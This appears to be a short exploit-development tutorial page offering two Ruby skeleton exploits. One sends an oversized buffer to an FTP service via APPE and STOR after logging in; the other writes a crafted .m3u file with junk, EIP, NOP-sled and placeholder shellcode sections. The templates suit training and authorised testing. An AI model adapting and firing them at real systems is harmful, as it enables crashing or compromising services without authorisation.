Primary version
Module 0x5 | Exploitation Kung Fu
Skeleton exploit
It's really a good thing to have a skeleton exploit to edit and use quickly during your exploitation process.
Network base
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#!/usr/bin/env ruby
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# KING SABRI | @KINGSABRI
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require 'socket'
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​
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buffer = "A" * 2000
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​
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#--> Networking
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host = ARGV[0]
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port = ARGV[1] || 21
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​
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s = TCPSocket.open(host, port)
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s.recv(1024)
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puts "[+] Sending Username."
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s.send("USER ftp\r\n", 0)
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s.recv(1024)
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puts "[+] Sending Password."
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s.send("PASS ftp\r\n", 0)
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s.recv(1024)
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puts "[+] Sending Evil buffer..."
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s.send("APPE " + buffer + "\r\n", 0)
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total = s.send("STOR " + buffer + "\r\n", 0)
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#--> Exploit Info
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puts "[+] " + "Total exploit size: " + "#{total} bytes."
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puts "[+] " + " Buffer length: " + "#{buffer.size} bytes."
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puts "[+] Done"
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​
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s.close
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To execute it
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ruby ftp_exploit.rb [TARGET] [PORT]
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Notice that some services has to receive from it and some does not.
File base
Creating a simple exploit file
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#!/usr/bin/env ruby
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# KING SABRI | @KINGSABRI
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​
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file = ARGV[0] || "exploit.m3u"
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​
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junk = "A" * 2000
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eip = "B" * 4
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nops = "\x90" * 8
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shell = "S" * 368
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exploit = junk + eip + nops + shell
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​
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File.open(file, 'w') {|f| f.write(exploit)}
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puts "[*] Exploit size: #{exploit.size}"
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To execute it
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ruby m3u_exploit.rb song1.m3u
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Last modified 4yr ago
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